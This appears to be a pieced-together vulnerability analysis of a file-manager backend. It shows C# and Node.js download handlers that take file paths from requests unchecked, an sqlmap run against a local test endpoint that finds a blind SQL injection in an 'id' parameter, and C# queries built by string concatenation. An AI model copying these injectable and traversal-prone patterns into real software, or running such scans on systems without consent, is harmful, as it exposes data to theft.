protected virtual void DownloadFile(string path, string[] names = null)
{

    if (!string.IsNullOrEmpty(path))
    {
        try
        {
            path = (Path.Combine(contentRootPath + path, names[0]));
            HttpResponse response = HttpContext.Current.Response;
            response.Buffer = true;
            response.Clear();
            response.ContentType = "APPLICATION/octet-stream";
            string extension = System.IO.Path.GetExtension(path);
            response.AddHeader("content-disposition", string.Format("attachment; filename = \"{0}\"", System.IO.Path.GetFileName(path)));
            response.WriteFile(path);
            response.Flush();
            response.End();
        }
        catch (Exception ex) { throw ex; }
    }
    else throw new ArgumentNullException("name should not be null");

}

/**
 * Download a file or folder
 */
app.post('/Download', function (req, res) {
    replaceRequestParams(req, res);
    var downloadObj = JSON.parse(req.body.downloadInput);
    var permission; var permissionDenied = false;
    downloadObj.data.forEach(function (item) {
        var filepath = (contentRootPath + item.filterPath).replace(/\\/g, "/");
        permission = getPermission(filepath + item.name, item.name, item.isFile, contentRootPath, item.filterPath);
        if (permission != null && (!permission.read || !permission.download)) {
            permissionDenied = true;
            var errorMsg = new Error();
            errorMsg.message = (permission.message !== "") ? permission.message : getFileName(contentRootPath + item.filterPath + item.name) + " is not accessible. You need permission to perform the download action.";
            errorMsg.code = "401";
            response = { error: errorMsg };
            response = JSON.stringify(response);
            res.setHeader('Content-Type', 'application/json');
            res.json(response);
        }
    });
    if (!permissionDenied) {
        if (downloadObj.names.length === 1 && downloadObj.data[0].isFile) {
            var file = contentRootPath + downloadObj.path + downloadObj.names[0];
            res.download(file);
        } else {
            var archive = archiver('zip', {
                gzip: true,
                zlib: { level: 9 } // Sets the compression level.
            });
            var output = fs.createWriteStream('./Files.zip');
            downloadObj.data.forEach(function (item) {
                archive.on('error', function (err) {
                    throw err;
                });
                if (item.isFile) {
                    archive.file(contentRootPath + item.filterPath + item.name, { name: item.name });
                }
                else {
                    archive.directory(contentRootPath + item.filterPath + item.name + "/", item.name);
                }
            });

sqlmap -u 'http://localhost:9999/api/SQLProvider/SQLGetImage?path=1/&id=9225&time=1680527844871'

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:31:52 /2023-04-03/

[14:31:52] [INFO] testing connection to the target URL
[14:31:52] [INFO] testing if the target URL content is stable
[14:31:53] [INFO] target URL content is stable
[14:31:53] [INFO] testing if GET parameter 'path' is dynamic
[14:31:53] [WARNING] GET parameter 'path' does not appear to be dynamic
[14:31:54] [WARNING] heuristic (basic) test shows that GET parameter 'path' might not be injectable
[14:31:55] [INFO] testing for SQL injection on GET parameter 'path'
[14:31:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:31:57] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:31:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:31:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:31:57] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:31:58] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:31:58] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[14:31:58] [INFO] testing 'Generic inline queries'
[14:31:58] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:31:58] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:31:58] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:31:58] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:31:58] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:31:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:31:59] [INFO] testing 'Oracle AND time-based blind'

it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
[14:32:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:32:00] [WARNING] GET parameter 'path' does not seem to be injectable
[14:32:00] [INFO] testing if GET parameter 'id' is dynamic
[14:32:00] [WARNING] GET parameter 'id' does not appear to be dynamic
[14:32:00] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[14:32:01] [INFO] testing for SQL injection on GET parameter 'id'
[14:32:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:32:01] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)

try
{
    SqlDataReader reader = (new SqlCommand(("select ItemID from " + this.tableName + " where ParentID='" + rootId + "'"), sqlConnection)).ExecuteReader();
    while (reader.Read()) { isRoot = reader["ItemID"].ToString(); }
}

try
{
    SqlDataReader reader = (new SqlCommand(("select ParentID from " + this.tableName + " where ItemID='" + data[0].Id + "'"), sqlConnection)).ExecuteReader();
    while (reader.Read()) { parentID = reader["ParentID"].ToString(); }
}